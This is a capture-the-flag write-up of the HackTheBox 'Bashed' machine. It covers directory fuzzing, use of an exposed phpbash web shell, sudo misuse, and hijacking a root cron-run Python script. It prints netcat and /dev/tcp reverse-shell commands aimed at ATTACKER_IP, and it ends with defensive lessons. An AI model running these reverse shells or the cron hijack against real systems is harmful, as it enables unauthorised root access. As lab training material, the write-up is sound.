Bashed - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐☆☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐☆☆☆☆
• CTF-like: ⭐⭐☆☆☆

Summary

Bashed is a straightforward entry-level machine that emphasizes web fuzzing and reconnaissance to locate critical files. The initial foothold is gained through a publicly accessible PHP web shell (phpbash) discovered via directory enumeration. Privilege escalation is achieved by leveraging sudo permissions to access a scripts directory where root-owned cron jobs execute Python scripts, allowing arbitrary code execution as root.

TL;DR: Web fuzzing → phpbash shell → sudo scriptmanager access → modify cron-executed Python script → root shell

Reconnaissance

Port Scanning

nmap -sC -sV -T4 -p- 10.10.10.68

Results:

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))

The nmap scan reveals a single open port: Apache HTTP server running on port 80. No other services are exposed, making the web application the primary attack surface.

Service Enumeration

Apache Web Server (Port 80)

• The web root contains a blog post hinting at important functionality
• The blog content references a development tool within the web application
• Standard HTTP headers indicate Apache 2.4.18 on Ubuntu

Vulnerability Assessment

Key Findings:

1. Exposed Development Tool - A phpbash shell is accessible within the web root
2. Directory Traversal Opportunity - Directory enumeration reveals non-standard directories
3. Weak File Permissions - Scripts directory has overly permissive ownership
4. Privileged Cron Jobs - Root-owned cron tasks execute user-modifiable files

Initial Foothold

Exploitation Path

Step 1: Directory Fuzzing

Use Dirbuster or similar fuzzing tool to enumerate directories on the Apache server:

# Using ffuf for directory enumeration
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://10.10.10.68/FUZZ

Results:

• /dev/ directory discovered
• /dev/ contains a functional phpbash shell

Step 2: Accessing phpbash

Navigate to the discovered directory:

http://10.10.10.68/dev/phpbash.php

This provides an interactive web-based shell interface with command execution capabilities.

Step 3: Establishing Initial Shell

Execute a reverse shell payload through phpbash to gain a proper interactive shell:

# Using netcat reverse shell
nc -e /bin/bash ATTACKER_IP 4444

Alternatively, establish the shell through meterpreter or other payload method. The phpbash interface allows arbitrary command execution as the www-data user.

Result: Shell access obtained as www-data user.

Privilege Escalation

From www-data to scriptmanager

Step 1: Check Sudo Permissions

sudo -l

Output:

User www-data may run the following commands on bashed:
    (scriptmanager) NOPASSWD: ALL

The www-data user can execute any command as scriptmanager without a password.

Step 2: Spawn scriptmanager Shell

sudo -u scriptmanager bash -i

This spawns an interactive bash shell with scriptmanager privileges, granting access to the /scripts directory with full read/write permissions.

From scriptmanager to root

Step 3: Enumerate /scripts Directory

ls -la /scripts

Output:

total 16
drwxrwxr-x  2 scriptmanager scriptmanager 4096 Dec 20  2017 .
drwxr-xr-x 23 root          root          4096 Dec 20  2017 ..
-rw-r--r--  1 scriptmanager scriptmanager  58 Dec 20  2017 test.py
-rw-r--r--  1 root          root          12 Dec 20  2017 test.txt

Observe that test.txt is owned by root and contains recently updated content, indicating an active cron job.

Step 4: Analyze the Cron Script

cat /scripts/test.py

Output:

print "test"

The script is minimal but reveals the pattern. The timestamp on test.txt indicates this script executes periodically (approximately every minute) as the root user.

Step 5: Exploit Cron Job

Modify the test.py file to execute arbitrary commands as root:

cat > /scripts/test.py << 'EOF'
import os
import subprocess

# Execute reverse shell as root
os.system("bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1")
EOF

Wait approximately 60 seconds for the cron job to execute.

Alternatively, create a new Python script in /scripts/ for execution:

cat > /scripts/pwned.py << 'EOF'
import subprocess
subprocess.call(["/bin/bash", "-i"])
EOF

Step 6: Obtain Root Shell

Catch the reverse connection on your listener:

nc -lvnp 5555

Result: Root shell obtained.

Attack Chain Summary

Web Fuzzing (ffuf/Dirbuster)
        ↓
Discover /dev/phpbash.php
        ↓
Execute Commands via phpbash
        ↓
www-data Reverse Shell
        ↓
sudo -u scriptmanager bash -i
        ↓
Enumerate /scripts Directory
        ↓
Identify Root Cron Job (test.py)
        ↓
Modify test.py with Malicious Code
        ↓
Wait for Cron Execution (~60 seconds)
        ↓
Catch Reverse Shell
        ↓
Root Shell

Tools Used

Key Learnings

Techniques Practiced

• Basic web fuzzing and directory enumeration
• Identifying exposed development/debugging tools in production environments
• Leveraging web shells for command execution
• Analyzing file timestamps and ownership to infer cron job execution
• Exploiting overly permissive sudo configurations
• Modifying cron-executed scripts for privilege escalation
• Cron job timing exploitation

Lessons Learned

1. Development Tools in Production - Never leave debugging tools like phpbash accessible in production environments; they represent critical security risks requiring immediate removal.

2. Sudo Configuration Risk - Granting NOPASSWD sudo access to ANY command creates a direct privilege escalation pathway; permissions should follow the principle of least privilege.

3. File Ownership Matters - Always scrutinize writable directories, especially those containing scripts executed by privileged processes; improper permissions can bypass security boundaries.

4. Cron Job Monitoring - Regularly audit cron jobs and scheduled tasks for modification; implement file integrity monitoring on critical script directories.

5. Timing Attacks - Observable patterns (file timestamps, regular updates) can reveal automated processes; use these patterns to identify exploitation opportunities.

6. Web Shell Reconnaissance - During enumeration, directory fuzzing can uncover administrative or development paths; thorough fuzzing is essential.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>